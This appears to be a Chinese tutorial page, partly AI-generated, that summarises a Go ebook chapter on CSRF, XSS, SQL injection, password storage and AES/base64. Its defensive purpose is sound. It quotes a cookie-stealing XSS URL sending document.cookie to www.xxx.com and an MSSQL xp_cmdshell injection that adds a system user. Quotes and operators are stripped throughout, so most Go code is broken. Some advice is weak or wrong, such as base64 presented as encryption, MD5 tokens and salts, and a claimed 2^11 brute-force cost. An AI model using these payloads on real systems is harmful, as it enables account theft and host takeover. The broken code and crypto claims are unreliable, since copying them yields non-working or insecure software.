ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Go Web 安全与加密实战指南:从 CSRF、XSS、SQL 注入到密码存储与对称加密

Go Web 安全与加密实战指南:从 CSRF、XSS、SQL 注入到密码存储与对称加密 文档教程【免费下载链接】build-web-application-with-golangA golang ebook intro how to build a web with golang项目地址https://gitcode.com/gh_mirrors/bu/build-web-application-with-golang点击查看免费下载本文基于《build-web-application-with-golang》开源电子书第九章「安全與加密」的完整内容展开系统梳理 Web 应用面临的典型攻击CSRF、XSS、SQL 注入及其防御方案并结合 Go 标准库text/template、regexp、database/sql、crypto/*给出可直接落地的代码示例。读完本文你将掌握如何通过路由限制与 token 机制防住 CSRF如何对输入做白名单与正则过滤如何在输出前转义 HTML 杜绝 XSS如何用参数化查询根除 SQL 注入以及如何按普通方案 → 加盐方案 → scrypt 专家方案三个层级安全存储密码并用 base64 与 AES 实现双向加解密。为什么 Web 安全必须成为 Go 开发者的默认意识无论你是 Web 应用的开发者还是试图利用应用漏洞的进攻者对 Web 程序安全这个话题的关注都在持续升温。历史上 CSDN 密码泄露事件让整个行业对密码明文存储的后果有了切肤之痛——攻击者拿到用户表后可以直接实施破坏行为。作为 Go 程序开发者我们必须清醒地认识到我们的应用随时可能成为攻击者的目标并提前做好防范。绝大多数 Web 应用中的安全问题都源于轻信了第三方提供的数据对用户的输入数据在验证之前应一律视为不安全数据若直接把不安全数据输出到客户端就可能造成跨站脚本攻击XSS若把不安全数据用于数据库查询就可能造成SQL 注入过滤输入和转义输出并不能解决所有问题CSRF 攻击会诱导受害者发送攻击者指定的请求造成破坏密码若以明文或简单哈希存储一旦数据库泄露所有账户直接暴露。本章zh-tw/09.0.md正是围绕以上威胁按过滤输入 → 转义输出 → 防 CSRF → 安全存密码 → 双向加密的路径组织内容。下面我们依次深入每一部分。CSRF 攻击原理、危害与 Go 防御实践什么是 CSRFCSRFCross-site request forgery跨站请求伪造又称 one click attack / session riding缩写为 CSRF/XSRF。攻击者可以盗用你的登录信息以你的身份模拟发送各种请求。攻击者只需借助少许社会工程学诡计例如通过 QQ 等聊天软件发送链接有些伪装成短域名用户无法分辨就能迫使 Web 应用用户执行攻击者预设的操作。典型场景用户登录网银查看余额后未退出点开好友发来的链接账户资金就可能被转移到攻击者指定账户。CSRF 攻击对终端用户的数据和操作指令构成严重威胁若受害终端用户拥有管理员账户CSRF 将危及整个 Web 应用。CSRF 的攻击原理下面这张图简洁地阐述了 CSRF 攻击的完整思想图片来自本仓库 zh-tw/images/9.1.csrf.png要完成一次 CSRF 攻击受害者必须依次完成两个步骤登录受信任网站 B并在本地产生 Cookie在不退出 B 的情况下访问危险网站 A。攻击的关键在于攻击者控制的网站 A 返回的 HTML 中嵌入指向网站 B 的请求例如img srchttp://stocks.example.org/bug.php?symbolSCOXshares1000/受害者浏览器加载该 HTML 时自动向 B 发起请求并因同源策略自动携带 B 的 Cookie——攻击者无需窃取 Cookie就能盗用受害者的登录身份执行操作。读者可能会想如果我不满足以上两个条件中的任意一个就不会受 CSRF 攻击。确实如此但你无法保证以下情况不发生你登录一个网站后不会再开一个 tab 页面访问别的网站尤其浏览器都支持多 tab你关闭浏览器后本地的 Cookie 会立刻过期、上次会话已经结束所谓攻击网站也可能是一个存在其他漏洞、被频繁访问的可信网站。因此用户很难避免登录一个网站后再点击其他链接随时可能成为 CSRF 受害者。CSRF 攻击主要源于 Web 的隐式身份验证机制Web 的身份验证机制虽然能保证一个请求来自某个用户的浏览器却无法保证该请求是用户批准发送的。服务器端防御正确使用 GET/POST 伪随机数CSRF 的防御可以从服务器端和客户端两方面着手服务器端防御效果更好目前主流的 CSRF 防御也都在服务器端进行。服务器端的防御思路基本一致主要从两方面入手正确使用 GET、POST 和 Cookie在非 GET 请求中增加伪随机数。一般的 Web 应用以 GET、POST 为主按如下方式设计GET 常用于查看、列举、展示等不需要改变资源属性的操作POST 常用于下订单、改变资源属性或其他写操作。用 Go 限制资源的访问方法以 REST 风格路由为例详见本电子书第八章 REST 架构mux.Get(/user/:uid, getuser) mux.Post(/user/:uid, modifyuser)这样限定修改只能使用 POSTGET 方式的请求会被拒绝响应图中的 GET 型 CSRF 攻击即可防住。但POST 同样可以被模拟所以需要第二步在非 GET 请求中增加随机数。常见有三种做法为每个用户生成一个唯一的 cookie token所有表单都包含同一个伪随机值最简单因为攻击者理论上拿不到第三方 Cookie表单数据就构造失败。但用户的 Cookie 很容易因网站的 XSS 漏洞被窃取所以该方案必须在没有 XSS 漏洞的前提下才安全每个请求使用验证码理论完美但需多次输入验证码、用户体验差不适合实际应用不同的表单包含不同的伪随机值本电子书4.4 小节防止表单多次提交介绍过此方案复用相关代码即可。生成随机数 tokenh : md5.New() io.WriteString(h, strconv.FormatInt(crutime, 10)) io.WriteString(h, ganraomaxxxxxxxxx) token : fmt.Sprintf(%x, h.Sum(nil)) t, _ : template.ParseFiles(login.gtpl) t.Execute(w, token)模板中输出 tokeninput typehidden nametoken value{{.}}服务器端验证 tokenr.ParseForm() token : r.Form.Get(token) if token ! { // 验证 token 的合法性 } else { // 不存在 token 报错 }这样基本实现了安全的 POST。也许有人会问如果破解了 token 的生成算法呢理论上可能但实际破解基本不可能——曾有计算表明暴力破解该串大约需要 2 的 11 次方量级的耗时。补充说明本仓库中与 token 防重复提交相关的完整模板示例位于 zh-tw/04.4.md生成 token 与表单输出代码可作为本节防御方案的配套实现参考。输入过滤Web 安全的基石过滤用户数据是 Web 应用安全的基础是验证数据合法性的过程。通过对所有输入数据进行过滤可以避免恶意数据在程序中被误信或误用。大多数 Web 应用的漏洞都源于没有对用户输入进行恰当过滤。过滤数据分为三个步骤识别数据搞清楚需要过滤的数据来自哪里过滤数据弄明白我们需要什么样的数据区分已过滤及被污染数据如果存在攻击数据保证过滤后使用的是更安全的数据。识别数据不信任任何外部来源识别数据是第一步因为不知道数据是什么、来自哪里就无法正确过滤。这里的数据指所有源自非代码内部提供的数据客户端输入是最常见的来源但数据库和第三方接口返回的数据同样属于外部数据源。Go 中用户输入非常容易识别调用r.ParseForm后用户 POST 和 GET 的数据全部放在r.Form中。其他输入则难识别得多例如r.Header中的很多元素由客户端操纵很难确认哪些构成输入所以最好把其中所有数据都视为用户输入如r.Header.Get(Accept-Charset)也应视为用户输入尽管大多由浏览器操纵。过滤数据校验优先拒绝好心纠正过滤的实质是防止非法数据进入你的应用。最好的做法是把过滤看作检查过程在使用数据之前检查其是否符合合法数据的要求。而且不要试图好心纠正非法数据而应让用户按你制定的规则输入。历史证明试图纠正非法数据往往导致安全漏洞——例如某银行系统升级后密码后两位是 0 时只需输入前四位即可登录这是非常严重的漏洞。Go 中过滤数据主要使用以下标准库strconv包r.Form返回的是字符串需要转成整型/浮点型时用Atoi、ParseBool、ParseFloat、ParseInt等函数strings包Trim、ToLower、ToTitle等函数按指定格式提取信息regexp包处理复杂需求如判断输入是否为 Email、生日等。过滤还可采用白名单策略假定正在检查的数据都是非法的除非能证明合法。这样即使出错也只是把合法数据当成非法数据而不会把非法数据当成合法数据——比相反的情况安全得多。区分已过滤与被污染数据CleanMap 模式完成前两步后还需要区分已过滤和被污染数据保证过滤数据的完整性而不影响原始输入。约定把所有经过过滤的数据放入全局 Map 变量CleanMap中需要两个关键步骤防止被污染数据注入每个请求都要初始化CleanMap为空 Map加入检查阻止来自外部数据源的变量进入CleanMap。以下表单示例展示了典型场景攻击者可以模拟 POST 提交表单中不存在的选项值form action/whoami methodPOST 我是谁: select namename option valueastaxieastaxie/option option valueherryherry/option option valuemarrymarry/option /select input typesubmit / /form处理逻辑中非常容易犯的错误是认为只能提交三个选项之一。其实攻击者可以模拟 POST 提交nameattack这样的数据所以需要做白名单处理r.ParseForm() name : r.Form.Get(name) CleanMap : make(map[string]interface{}, 0) if name astaxie || name herry || name marry { CleanMap[name] name }只有当 name 是三个合法值之一时数据才被存入CleanMap确保CleanMap[name]中的数据合法供程序其他部分安全使用。else 分支可增加非法数据处理如再次显示表单并提示错误但不要为了友好而输出被污染的数据。白名单对已知合法值集合很有效但对由一组已知合法字符组成的数据无能为力。例如用户名只能由字母和数字组成应使用正则校验r.ParseForm() username : r.Form.Get(username) CleanMap : make(map[string]interface{}, 0) if ok, _ : regexp.MatchString(^[a-zA-Z0-9]$, username); ok { CleanMap[username] username }数据过滤在 Web 安全中起到基石作用——CSRF、XSS、SQL 注入等都是没有认真过滤数据引起的因此必须高度重视这部分内容。XSS 攻击原理与输出转义什么是 XSS跨站脚本攻击Cross-Site Scripting为与层叠样式表CSS缩写区分缩写为XSS。XSS 允许攻击者将恶意代码植入到提供给其他用户使用的页面中。不同于大多数只涉及攻击者和受害者的攻击XSS 涉及三方攻击者、客户端与 Web 应用。XSS 的目标是盗取存储在客户端的 Cookie 或其他用于识别客户端身份的敏感信息取得合法用户信息后攻击者甚至可以假冒合法用户与网站交互。XSS 通常分两大类存储型 XSS出现在让用户输入数据、供其他浏览此页用户查看的地方留言、评论、博客日志、各类表单等。应用从数据库查询数据并显示攻击者输入恶意脚本数据后用户浏览该页面时可能受攻击。流程可描述为恶意用户的 HTML 输入 → Web 程序 → 数据库 → Web 程序 → 用户浏览器反射型 XSS将脚本代码加入 URL 地址的请求参数请求参数进入程序后在页面直接输出用户点击恶意链接即可能受攻击。XSS 的主要手段和目的包括盗用 Cookie取得敏感信息植入 Flash通过 crossdomain 权限设置进一步取得更高权限或用 Java 等实现类似操作利用 iframe、frame、XMLHttpRequest 或 Flash 等方式以被攻击者身份执行管理动作或常规操作发微博、加好友、发私信等——新浪微博曾遭遇过一次 XSS利用可被攻击的域受其他域信任的特点以受信任来源身份请求平时不允许的操作如不当投票在访问量极大的页面上进行 XSS可攻击小型网站实现 DDoS 攻击效果。XSS 的原理Web 应用未对用户提交的数据做充分检查过滤允许用户在数据中掺入 HTML 代码最主要的是、并将未经转义的恶意代码输出到第三方浏览器解释执行即产生 XSS 漏洞。以反射型 XSS 为例某网站根据参数输出用户名访问http://127.0.0.1/?nameastaxie浏览器输出hello astaxie。如果传递http://127.0.0.1/?namescriptalert(astaxie,xss)/script浏览器会弹出警告框说明站点已存在 XSS 漏洞。恶意用户盗取 Cookie 的方式类似http://127.0.0.1/?namescriptdocument.location.hrefhttp://www.xxx.com/cookie?document.cookie/script这样就能把当前 Cookie 发送到指定站点www.xxx.com。这类 URL 一看就有问题但如果用短网址服务缩短后再传播不明真相的用户一旦点击Cookie 数据即被发送到预设站点攻击者随后可用工具检查是否能盗取该用户账户。如何预防 XSS答案很简单坚决不要相信用户的任何输入并过滤掉输入中的所有特殊字符这能消灭绝大部分 XSS 攻击。主要防御方式1. 过滤特殊字符将用户提供的内容进行过滤。Go 语言在text/template包下提供 HTML 过滤函数HTMLEscapeString对 HTML 特殊字符、、、、等进行转义JSEscapeString对嵌入 JavaScript 上下文的字符串进行转义。2. 使用 HTTP 头指定类型w.Header().Set(Content-Type, text/javascript)这样可以让浏览器把响应解析为 JavaScript 代码而不是按 HTML 输出降低脚本注入风险。XSS 漏洞危害极大开发 Web 应用时务必记住过滤数据特别是在输出到客户端之前这是当前行之有效的防 XSS 手段。SQL 注入从拼接陷阱到参数化查询什么是 SQL 注入SQL 注入攻击SQL Injection是 Web 开发中最常见的安全漏洞之一。攻击者可用它从数据库取得敏感信息或利用数据库特性执行新增用户、导出文件等恶意操作甚至获取数据库乃至系统用户的最高权限。SQL 注入的成因是程序没有有效过滤用户输入攻击者向服务器提交恶意 SQL 查询代码程序错误地将攻击者的输入作为查询语句的一部分执行导致原始查询逻辑被改变额外执行了攻击者精心构造的恶意代码。SQL 注入示例许多开发者没有意识到 SQL 查询可以被篡改把 SQL 查询当作可信命令——实际上 SQL 查询可以绕开访问控制、绕过身份验证和权限检查甚至执行主机系统级命令。考虑以下登录表单form action/login methodPOST pUsername: input typetext nameusername //p pPassword: input typepassword namepassword //p pinput typesubmit value登录 //p /form对应的处理 SQL 可能是这样的username : r.Form.Get(username) password : r.Form.Get(password) sql : SELECT * FROM user WHERE username username AND password password 如果用户输入的用户名如下密码任意myuser or foo foo --那么 SQL 变成SELECT * FROM user WHERE usernamemyuser or foo foo -- AND passwordxxx在 SQL 中--是注释标记查询语句在此中断。攻击者在不知道任何合法用户名和密码的情况下成功登录。对于 MSSQL 还有更危险的注入——控制系统。下面这个例子示范如何在某些版本的 MSSQL 数据库上执行系统命令sql : SELECT * FROM products WHERE name LIKE % prod % Db.Exec(sql)如果攻击者提交a% exec master..xp_cmdshell net user test testpass /ADD --作为 prod 的值SQL 变成SELECT * FROM products WHERE name LIKE %a% exec master..xp_cmdshell net user test testpass /ADD--%MSSQL 服务器会执行这条 SQL 语句包括后面用于向系统添加新用户的命令。如果程序以 sa 权限运行且 MSSQLSERVER 服务有足够权限攻击者就能获得系统账号访问主机。虽然以上例子针对特定数据库系统但这不代表不能对其他数据库实施类似攻击。针对这种漏洞只要使用不同方法各种数据库都可能遭殃。如何预防 SQL 注入攻击者需要数据库结构信息才能实施 SQL 注入但没人能保证攻击者一定拿不到这些信息。永远不要信任外界输入的数据特别是用户数据包括选择框、表单隐藏域和 Cookie。以下建议对防治 SQL 注入很有帮助严格限制 Web 应用的数据库操作权限给用户提供仅能满足工作的最低权限最大限度减少注入攻击对数据库的危害检查输入的数据是否符合期望格式严格限制变量类型例如用regexp包做匹配处理或用strconv包把字符串转成其他基本类型进行判断对进入数据库的特殊字符\尖括号*;等进行转义或编码转换Go 的text/template包中的HTMLEscapeString函数可对字符串进行转义处理所有查询语句建议使用数据库提供的参数化查询接口参数化语句使用参数而非把用户输入变量嵌入 SQL 语句即不要直接拼接 SQL。例如使用database/sql中的查询函数Prepare和Query或Exec(query string, args ...interface{})应用发布前用专业 SQL 注入检测工具检测及时修补漏洞网上有不少开源工具如 sqlmap、SQLninja 等避免网站显示 SQL 错误信息类型错误、字段不匹配等错误会把代码中的 SQL 语句暴露出来防止攻击者利用这些错误信息进行注入。SQL 注入危害极大编写 Web 应用时应重视每一个细节——细节决定命运编写 Web 应用也是如此。密码存储从普通哈希到加盐再到 scrypt过去一段时间许多网站遭遇用户密码数据泄露事件Linkedin、CSDN 等。人们习惯在不同网站使用相同密码所以一家爆库全部遭殃。作为 Web 应用开发者选择密码存储方案时容易掉入哪些陷阱又该如何避免普通方案单向哈希不够安全目前最常用的方案是将明文密码做单向哈希后存储。单向哈希算法无法通过摘要digest还原原始数据常用算法包括 SHA-256、SHA-1、MD5 等。Go 对这三种算法的实现// import crypto/sha256 h : sha256.New() io.WriteString(h, His money is twice tainted: taint yours and taint mine.) fmt.Printf(% x, h.Sum(nil)) // import crypto/sha1 h : sha1.New() io.WriteString(h, His money is twice tainted: taint yours and taint mine.) fmt.Printf(% x, h.Sum(nil)) // import crypto/md5 h : md5.New() io.WriteString(h, 需要加密的密码) fmt.Printf(%x, h.Sum(nil))单向哈希有两个特性同一个密码进行单向哈希得到的总是唯一确定的摘要计算速度快——随着技术进步一秒钟能完成数十亿次单向哈希计算。结合这两个特点考虑到多数人使用常见密码组合攻击者可以对所有常见密码组合进行单向哈希得到摘要组合即rainbow table彩虹表再与数据库中的摘要比对即可获得对应密码。因此单向加密后存储的数据和明文存储没有多大区别——数据库一旦泄露所有用户的密码就大白于天下。进阶方案加盐salt黑客能用彩虹表破解哈希密码很大程度上因为哈希算法是公开的。一个直接思路是自己设计哈希算法但好的哈希算法很难设计——既要避免碰撞又不能有明显规律。实际应用中更多是利用已有哈希算法进行多次哈希。但单纯多次哈希依然挡不住黑客两次 MD5、三次 MD5 之类的方法我们能想到黑客自然也能想到特别是开源代码相当于直接把算法告诉了黑客。安全性较好的网站通常采用**加盐salt方式存储密码。通常做法是先将用户输入密码做一次 MD5或其他哈希算法加密将得到的 MD5 值前后加上只有管理员自己知道的随机串**再做一次 MD5 加密。随机串可以包含某些固定串也可以包含用户名保证每个用户加密使用的密钥都不一样// import crypto/md5 // 假设用户名 abc密码 123456 h : md5.New() io.WriteString(h, 需要加密的密码) // pwmd5 等于 e10adc3949ba59abbe56e057f20f883e pwmd5 : fmt.Sprintf(%x, h.Sum(nil)) // 指定两个 salt salt1 #$% salt2 ^*() salt1 : #$% salt2 : ^*() // salt1用户名salt2MD5 拼接 io.WriteString(h, salt1) io.WriteString(h, abc) io.WriteString(h, salt2) io.WriteString(h, pwmd5) last : fmt.Sprintf(%x, h.Sum(nil))在两个 salt 没有泄露的情况下黑客即使拿到最终加密串也几乎不可能推算出原始密码。专家方案scrypt 密码派生函数进阶方案在几年前也许足够安全因为攻击者没有足够资源建立这么多彩虹表但时至今日并行计算能力大幅提升这种攻击已完全可行。只要时间与资源允许没有破译不了的密码所以方案是故意增加密码计算所需的资源和时间使任何人都无法获得足够资源建立所需的彩虹表。这类方案有个共同特点算法中都有一个计算强度因子用于指明计算密码摘要所需的资源和时间。计算强度越大攻击者建立彩虹表越困难直至不可继续。推荐scrypt方案——由著名的 FreeBSD 黑客 Colin Percival 为其备份服务 Tarsnap 开发。Go 语言在golang.org/x/crypto/scrypt包中提供支持仓库说明见 zh-tw/09.5.mddk : scrypt.Key([]byte(some password), []byte(salt), 16384, 8, 1, 32)scrypt.Key的参数依次为密码、盐值、CPU/内存开销参数 N、并行度 r、迭代次数 p、派生密钥长度。通过上述方法可以得到唯一的密码值这是目前最难破解的方案。实践建议如果你是普通用户建议使用密码管理器如 LastPass为不同网站生成并存储不同密码如果你是开发人员强烈建议采用专家方案scrypt 或同类内存困难型 KDF进行密码存储。加密与解密数据base64、AES 与 DES前面介绍了密码存储单向、不可逆但有些场景需要把敏感数据加密存储、将来按需解密出来此时应选用对称加密算法。base64 加解密简单场景的轻量方案如果 Web 应用足够简单、数据安全性要求不严格可以采用较简单的 base64 加解密。Go 的encoding/base64包已很好地支持package main import ( encoding/base64 fmt ) func base64Encode(src []byte) []byte { return []byte(base64.StdEncoding.EncodeToString(src)) } func base64Decode(src []byte) ([]byte, error) { return base64.StdEncoding.DecodeString(string(src)) } func main() { // encode hello : 你好世界 hello world debyte : base64Encode([]byte(hello)) fmt.Println(debyte) // decode enbyte, err : base64Decode(debyte) if err ! nil { fmt.Println(err.Error()) } if hello ! string(enbyte) { fmt.Println(hello is not equal to enbyte) } fmt.Println(string(enbyte)) }高级加解密AES 与 DES 对称加密Go 的crypto包提供对称加密的高级加解密包crypto/aesAESAdvanced Encryption Standard又称 Rijndael 加密法美国联邦政府采用的区块加密标准crypto/desDESData Encryption Standard对称加密标准曾是使用最广泛的密钥系统尤其保护金融数据也曾是美国联邦政府加密标准现已被 AES 取代。两种算法使用方法类似下面以aes包为例讲解package main import ( crypto/aes crypto/cipher fmt os ) var commonIV []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} func main() { // 需要去加密的字符串 plaintext : []byte(My name is Astaxie) // 如果传入加密串的话plaintext 就是传入的字符串 if len(os.Args) 1 { plaintext []byte(os.Args[1]) } // aes 的加密字符串 key_text : astaxie12798akljzmknm.ahkjkljl;k if len(os.Args) 2 { key_text os.Args[2] } fmt.Println(len(key_text)) // 创建加密算法 aes c, err : aes.NewCipher([]byte(key_text)) if err ! nil { fmt.Printf(Error: NewCipher(%d bytes) %s, len(key_text), err) os.Exit(-1) } // 加密字符串 cfb : cipher.NewCFBEncrypter(c, commonIV) ciphertext : make([]byte, len(plaintext)) cfb.XORKeyStream(ciphertext, plaintext) fmt.Printf(%s%x\n, plaintext, ciphertext) // 解密字符串 cfbdec : cipher.NewCFBDecrypter(c, commonIV) plaintextCopy : make([]byte, len(plaintext)) cfbdec.XORKeyStream(plaintextCopy, ciphertext) fmt.Printf(%x%s\n, ciphertext, plaintextCopy) }调用aes.NewCipher参数 key 必须是16、24 或 32 字节的[]byte分别对应AES-128、AES-192 或 AES-256算法返回一个cipher.Block接口该接口实现三个功能type Block interface { // BlockSize returns the ciphers block size. BlockSize() int // Encrypt encrypts the first block in src into dst. // Dst and src may point at the same memory. Encrypt(dst, src []byte) // Decrypt decrypts the first block in src into dst. // Dst and src may point at the same memory. Decrypt(dst, src []byte) }这三个方法实现了加解密操作示例中通过cipher.NewCFBEncrypter/cipher.NewCFBDecrypter配合 CFB 模式与初始化向量commonIV完成流式加解密。注意示例中commonIV为固定值仅用于演示生产环境应使用随机 IV 并妥善管理密钥。补充说明本仓库各语言版本均收录了本章完整的代码示例如 de/code/src 等目录下的 Go 源码读者可直接对照运行验证。小结把安全意识沉淀为编码习惯本章系统介绍了 CSRF 攻击、XSS 攻击、SQL 注入攻击等 Web 应用中典型的攻击手法。它们都是由于应用对用户输入没有很好地过滤引起的所以除了介绍攻击方法外也介绍了如何有效进行数据过滤以防止这些攻击发生。随后针对日益严重的密码泄露事件介绍了设计 Web 应用时可采用的从基本到专家的加密方案最后针对敏感数据的加解密介绍了 Go 语言提供的三种对称加密实现base64、AES 和 DES。编写本章的目的是希望读者在意识里加强安全概念在编写 Web 应用时多留心一点让我们的应用远离黑客攻击。Go 语言在支持防攻击方面已提供大量工具包text/template、regexp、database/sql、crypto/*、golang.org/x/crypto/scrypt等充分利用这些包即可构建一个安全的 Web 应用。继续阅读本章目录第九章 安全與加密上一章第八章 总结下一节预防 CSRF 攻击配套小节确保输入过滤 · 避免 XSS 攻击 · 避免 SQL 注入 · 存储密码 · 加密和解密数据 · 小结全书目录preface.md赞分享文档教程【免费下载链接】build-web-application-with-golangA golang ebook intro how to build a web with golang项目地址https://gitcode.com/gh_mirrors/bu/build-web-application-with-golang点击查看免费下载相关推荐Go Web 安全与加密实战从 CSRF/XSS/SQL 注入防御到密码存储与 AES 双向加密Go Web 安全与加密实战从 CSRF/XSS/SQL 注入防御到密码存储与 AES 双向加密 导读 本章《Build Web Application w文档教程Go Web 安全与加密实战指南CSRF、XSS、SQL 注入防御与密码存储、AES 加解密Go Web 安全与加密实战指南CSRF、XSS、SQL 注入防御与密码存储、AES 加解密 本指南以《Build Web Application with文档教程build-web-application-with-golang 安全与加密实战指南从 CSRF、XSS、SQL 注入防御到密码存储与 AES 加密build web application with golang 安全与加密实战指南从 CSRF、XSS、SQL 注入防御到密码存储与 AES 加密 安全是文档教程上一篇Parallax Pager核心组件解析ParallaxContainer使用教程下一篇3步实现Windows自动安装UnattendedWinstall完全指南创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表